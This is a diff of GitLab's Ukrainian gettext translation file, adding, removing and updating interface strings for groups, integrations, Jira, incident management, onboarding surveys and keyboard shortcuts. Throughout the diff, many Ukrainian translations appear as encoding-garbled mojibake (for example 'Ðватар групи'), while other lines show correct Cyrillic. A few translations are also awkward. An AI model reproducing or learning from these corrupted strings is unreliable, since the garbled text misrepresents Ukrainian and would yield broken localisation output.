msgid "GrafanaIntegration|Active"
msgstr "Увімкнено"
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15684,7 +15899,7 @@ msgid "Group avatar"
msgstr "Ðватар групи"
msgid "Group by"
-msgstr ""
+msgstr "Групувати за"
msgid "Group description (optional)"
msgstr "ÐžÐ¿Ð¸Ñ Ð³Ñ€ÑƒÐ¿Ð¸ (необов'Ñзково)"
@@ -15716,6 +15931,9 @@ msgstr ""
msgid "Group info:"
msgstr "Ð†Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾ групу:"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15735,7 +15953,7 @@ msgid "Group membership expiration date removed"
msgstr ""
msgid "Group milestone"
-msgstr ""
+msgstr "Етап групи"
msgid "Group name"
msgstr "Ðазва групи"
@@ -15776,6 +15994,9 @@ msgstr "Групові runner'и"
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr "Змінні групи (уÑпадковані)"
@@ -15797,13 +16018,16 @@ msgstr "Група: %{name}"
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15866,6 +16090,9 @@ msgstr "Ð”Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду плану-графіку, додайте да
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr "Щоб розширити пошук, змініть або видаліть фільтри; від %{startDate} до %{endDate}."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16184,9 +16411,6 @@ msgstr "Групи та проєкти"
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr "Групи також можуть бути вкладеними при викориÑтанні %{subgroup_docs_link_start}підгруп%{subgroup_docs_link_end}."
-
msgid "Groups to synchronize"
msgstr "Групи Ð´Ð»Ñ Ñинхронізації"
@@ -16223,23 +16447,32 @@ msgstr "Групи не знайдені"
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr "Ви можете керувати правами доÑтупу членів групи мати доÑтуп до кожного проєкту в ній."
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
-msgstr "Створити"
-
msgid "GroupsNew|Create group"
msgstr "Створити групу"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
+msgstr ""
+
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
-msgstr "Імпорт"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
+msgstr ""
msgid "GroupsNew|Import group"
msgstr "Імпортувати групу"
@@ -16310,7 +16543,7 @@ msgstr "Керівництво"
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16325,6 +16558,9 @@ msgstr "Хешовані шлÑхи Ð´Ð»Ñ Ð·Ð±ÐµÑ€Ñ–Ð³Ð°Ð½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16337,6 +16573,18 @@ msgstr ""
msgid "Header message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°"
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr "Заголовки"
@@ -16368,13 +16616,13 @@ msgid "HealthCheck|Unhealthy"
msgstr "Ðездоровий"
msgid "Hello %{name},"
-msgstr ""
+msgstr "Привіт %{name},"
msgid "Hello there"
msgstr "Привіт"
msgid "Hello, %{name}!"
-msgstr ""
+msgstr "Привіт, %{name}!"
msgid "Hello, %{username}!"
msgstr "Привіт, %{username}!"
@@ -16455,9 +16703,6 @@ msgstr "Приховати кориÑне навантаженнÑ"
msgid "Hide shared projects"
msgstr "Сховати Ñпільні проєкти"
-msgid "Hide stage"
-msgstr "Сховати етап"
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Сховати значеннÑ"
@@ -16489,9 +16734,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "ІÑторіÑ"
@@ -16576,9 +16818,24 @@ msgstr "Я забув пароль"
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr "Я прочитав Ñ– згодені із %{link_start}умовами викориÑтаннÑ%{link_end} Let's Encrypt (PDF)"
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16588,9 +16845,6 @@ msgstr "ID:"
msgid "IDE"
msgstr "IDE"
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "Ðазад"
@@ -16744,6 +16998,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr "Якщо ваш HTTP-репозиторій не Ñ” загальнодоÑтупним, додайте Ñвої облікові дані."
@@ -16751,13 +17008,13 @@ msgid "Ignore"
msgstr "Iгнорувати"
msgid "Ignored"
-msgstr ""
+msgstr "Проігноровано"
msgid "Image URL"
msgstr "URL-адреÑа зображеннÑ"
msgid "Image details"
-msgstr ""
+msgstr "Деталі образу"
msgid "ImageAltText|Sparkling golden tanuki logo"
msgstr ""
@@ -16813,7 +17070,7 @@ msgid "Import Projects from Gitea"
msgstr "Імпортувати проєкти з Gitea"
msgid "Import a project"
-msgstr ""
+msgstr "Імпорт проєкту"
msgid "Import an exported GitLab project"
msgstr "Імпортувати екÑпортований проєкт GitLab"
@@ -16858,13 +17115,13 @@ msgid "Import project"
msgstr "Імпорт проєкту"
msgid "Import project from"
-msgstr ""
+msgstr "Імпортувати проєкт з"
msgid "Import project members"
msgstr "Імпортувати учаÑників проєкту"
msgid "Import project/repository"
-msgstr ""
+msgstr "Імпорт проєкту/репозиторію"
msgid "Import projects from Bitbucket"
msgstr "Імпортувати проєкти з Bitbucket"
@@ -16955,7 +17212,7 @@ msgstr[2] ""
msgstr[3] ""
msgid "Importing..."
-msgstr ""
+msgstr "Імпорт..."
msgid "Improve customer support with Service Desk"
msgstr ""
@@ -16996,6 +17253,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17029,6 +17289,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17041,9 +17304,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17056,6 +17328,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17182,6 +17457,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17221,6 +17499,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17236,10 +17517,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17275,9 +17556,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17353,9 +17643,12 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
-msgid "IncidentManagement|All"
+msgid "IncidentManagement|Achieved SLA"
msgstr ""
+msgid "IncidentManagement|All"
+msgstr "Ð’ÑÑ–"
+
msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
msgstr ""
@@ -17392,6 +17685,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17431,6 +17727,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17446,9 +17745,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17465,7 +17761,7 @@ msgid "IncidentSettings|When activated, this applies to all new incidents in the
msgstr ""
msgid "IncidentSettings|hours"
-msgstr ""
+msgstr "години"
msgid "IncidentSettings|minutes"
msgstr ""
@@ -17578,8 +17874,8 @@ msgstr "Вказує на те, чи може даний runner виконува
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr "ПовідомлÑти кориÑтувачам без клічів SSH, що без них вони не зможуть відправлÑти код через SSH"
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
-msgstr "Ви можете знайти інформацію про додаткові шаблони Pages та те, Ñк Ñ—Ñ… вÑтановити в нашій %{pages_getting_started_guide}."
+msgid "Infrastructure"
+msgstr ""
msgid "Infrastructure Registry"
msgstr ""
@@ -17591,7 +17887,7 @@ msgid "InfrastructureRegistry|Publish and share your modules. %{docLinkStart}Mor
msgstr ""
msgid "InfrastructureRegistry|Terraform"
-msgstr ""
+msgstr "Terraform"
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
@@ -17657,13 +17953,13 @@ msgid "Install GitLab Runner and ensure it's running."
msgstr ""
msgid "Install GitLab Runner on Kubernetes"
-msgstr ""
+msgstr "Ð’Ñтановити GitLab Runner на Kubernetes"
msgid "Install on clusters"
msgstr "Ð’Ñтановити на клаÑтери"
msgid "Installation"
-msgstr ""
+msgstr "УÑтановка"
msgid "Installed"
msgstr "Ð’Ñтановлено"
@@ -17679,7 +17975,7 @@ msgstr[2] "ІнÑтанÑів"
msgstr[3] "ІнÑтанÑів"
msgid "Instance Configuration"
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ–Ð½Ñтанції"
msgid "Instance access request"
msgstr ""
@@ -17718,13 +18014,13 @@ msgid "Integrations|%{integration} settings saved, but not active."
msgstr ""
msgid "Integrations|Active integrations"
-msgstr ""
+msgstr "Ðктивні інтеграції"
msgid "Integrations|Add an integration"
-msgstr ""
+msgstr "Додати інтеграцію"
msgid "Integrations|Add namespace"
-msgstr ""
+msgstr "Додати проÑÑ‚Ñ–Ñ€ імен"
msgid "Integrations|Adding a namespace works only in browsers that allow cross‑site cookies. Use %{firefox_link_start}Firefox%{firefox_link_end}, or enable cross‑site cookies in your browser, when adding a namespace."
msgstr ""
@@ -17777,10 +18073,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17858,14 +18154,14 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
msgid "Integrations|You haven't activated any integrations yet."
-msgstr ""
+msgstr "Ви ще не активували жодної інтеграції."
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
@@ -17991,7 +18287,7 @@ msgid "Invalid two-factor code."
msgstr "ÐедійÑний двофакторний код підтвердженнÑ."
msgid "Invalid yaml"
-msgstr ""
+msgstr "ÐедійÑний yaml"
msgid "Investigate vulnerability: %{title}"
msgstr ""
@@ -18044,7 +18340,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18278,6 +18574,9 @@ msgstr ""
msgid "Issue Boards"
msgstr "Дошки Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr "Задачу вже переведено до епіку."
@@ -18347,12 +18646,6 @@ msgstr "СтатуÑ"
msgid "IssueAnalytics|Weight"
msgstr "Вага"
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18380,6 +18673,27 @@ msgstr "Перемкнути дошку"
msgid "IssueTracker|Custom issue tracker"
msgstr "ВлаÑний реєÑÑ‚Ñ€ задач"
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18425,6 +18739,9 @@ msgstr "Задачі можуть бути помилками, нагадуваÐ
msgid "Issues closed"
msgstr "Задачі закриті"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18527,6 +18844,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18536,6 +18856,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18564,20 +18890,20 @@ msgid "Iteration|Dates cannot overlap with other existing Iterations within this
msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
-msgstr ""
+msgstr "не може перевищувати 500 років у майбутньому"
msgid "I’m familiar with the basics of DevOps."
msgstr ""
+msgid "I’m joining my team who’s already on GitLab"
+msgstr ""
+
msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
msgstr "URL-адреÑа Jaeger"
-msgid "Jaeger tracing"
-msgstr "ВідÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Jaeger"
-
msgid "Jan"
msgstr "Ñіч."
@@ -18599,7 +18925,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18674,6 +19000,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18689,11 +19018,11 @@ msgstr "URL-адреÑа Jira API"
msgid "JiraService|Jira Issues"
msgstr "Задачі Jira"
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
-msgstr "Коментарі в Jira будуть ÑтворюватиÑÑ ÐºÐ¾Ð»Ð¸ в коміті буде поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° задачу."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
+msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
-msgstr "Коментарі в Jira будуть ÑтворюватиÑÑ ÐºÐ¾Ð»Ð¸ в запиті на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð±ÑƒÐ´Ðµ поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° задачу."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
+msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
@@ -18779,8 +19108,8 @@ msgstr "Веб URL"
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr "Робота із задачами Jira, не залишаючи GitLab. Додає меню Jira Ð´Ð»Ñ Ð´Ð¾Ñтупу до ÑпиÑку ваших задач Jira та Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду кожної із задач без можливоÑÑ‚Ñ– редагуваннÑ."
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
-msgstr "ідентифікатори переходів (transition ids) можуть міÑтити лише цифри, розділені \",\" або \";\""
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
+msgstr ""
msgid "Job"
msgstr "ЗавданнÑ"
@@ -18827,6 +19156,18 @@ msgstr ""
msgid "Job was retried"
msgstr "Ð—Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÑƒÐ»Ð¾ перезапущене"
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "ЗавданнÑ"
@@ -18842,6 +19183,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr "Створити файл конфігурації CI/CD"
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18935,6 +19279,9 @@ msgstr "з"
msgid "Join Zoom meeting"
msgstr "ПриєднатиÑÑ Ð´Ð¾ зуÑтрічі в Zoom"
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18968,6 +19315,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18995,9 +19345,30 @@ msgstr "Ключ: %{key}"
msgid "Keyboard shortcuts"
msgstr "Комбінації клавіш"
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr "Ключі"
@@ -19034,6 +19405,9 @@ msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ñ–Ð· Kubernetes-клаÑтером була уÑпÑ
msgid "Kubernetes cluster was successfully updated."
msgstr "Kubernetes-клаÑтер уÑпішно оновлено."
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr "Ð Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Kubernetes не знайдено"
@@ -19092,7 +19466,7 @@ msgid "Label lists show all issues with the selected label."
msgstr "Ð’ ÑпиÑках на оÑнові міток відображаютьÑÑ Ð»Ð¸ÑˆÐµ Ñ‚Ñ– задачі, Ñкі мають вибрану мітку."
msgid "Label priority"
-msgstr ""
+msgstr "Мітка пріоритет"
msgid "Label was created"
msgstr "Мітка була Ñтворена"
@@ -19174,7 +19548,7 @@ msgid "Last Seen"
msgstr ""
msgid "Last Used"
-msgstr ""
+msgstr "ОÑтаннє викориÑтаннÑ"
msgid "Last accessed on"
msgstr "ОÑтанній доÑтуп"
@@ -19234,7 +19608,7 @@ msgid "Last successful update"
msgstr "ОÑтаннє уÑпішне оновленнÑ"
msgid "Last time verified"
-msgstr ""
+msgstr "ОÑтанній раз перевірено"
msgid "Last update"
msgstr "ОÑтаннє оновленнÑ"
@@ -19278,18 +19652,12 @@ msgstr "ОÑтанній конвеєр Ð´Ð»Ñ Ð¾Ñтаннього коміту
msgid "Launch a ready-to-code development environment for your project."
msgstr "ЗапуÑÑ‚Ñ–Ñ‚ÑŒ Ñередовище Ð´Ð»Ñ Ñ€Ð¾Ð·Ñ€Ð¾Ð±ÐºÐ¸ вашого проєкту."
-msgid "Lead"
-msgstr "Керувати"
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr "ДізнатиÑÑ Ð¿Ñ€Ð¾ GitLab"
@@ -19461,6 +19829,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19486,7 +19860,7 @@ msgid "Leave project"
msgstr "Залишити проєкт"
msgid "Leave zen mode"
-msgstr ""
+msgstr "Залишити режим дзен"
msgid "Legacy burndown chart"
msgstr ""
@@ -19497,6 +19871,9 @@ msgstr "Let's Encrypt не приймає Ð°Ð´Ñ€ÐµÑ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— по
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr "Let's Encrypt Ñ” безкоштовним, автоматизованим та відкритим центром Ñертифікації (CA), Ñкий видає цифрові Ñертифікати Ð´Ð»Ñ Ð°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ñ–Ñ— HTTPS (SSL/TLS) на вебÑайтах. ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Let's Encrypt перейшовши до %{docs_link_start}документації по GitLab Pages%{docs_link_end}."
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "ЛіцензіÑ"
@@ -19510,7 +19887,7 @@ msgid "License ID:"
msgstr "ID ліцензії:"
msgid "License overview"
-msgstr ""
+msgstr "ПереглÑд ліцензії"
msgid "License-Check"
msgstr "License-Check"
@@ -19999,8 +20376,8 @@ msgstr "Робить цю задачу конфіденційною."
msgid "Manage"
msgstr "Керувати"
-msgid "Manage Web IDE features"
-msgstr "ÐšÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ñ„ÑƒÐ½ÐºÑ†Ñ–Ñми веб-IDE"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr "Керувати доÑтупом"
@@ -20257,6 +20634,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr "МакÑимальна кількіÑÑ‚ÑŒ кориÑтувачів"
@@ -20344,6 +20724,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr "МакÑимальний розмір Ð´Ð»Ñ Ð²Ñ–Ð´Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð½Ñ (МБ)"
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20539,6 +20922,9 @@ msgstr ""
msgid "Memory Usage"
msgstr "ВикориÑÑ‚Ð°Ð½Ð½Ñ Ð¿Ð°Ð¼â€™ÑÑ‚Ñ–"
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr "ЗлиттÑ"
@@ -20590,9 +20976,6 @@ msgstr "Параметри злиттÑ"
msgid "Merge request"
msgstr "Запит на злиттÑ"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ %{iid} від %{authorName}"
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20881,10 +21264,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
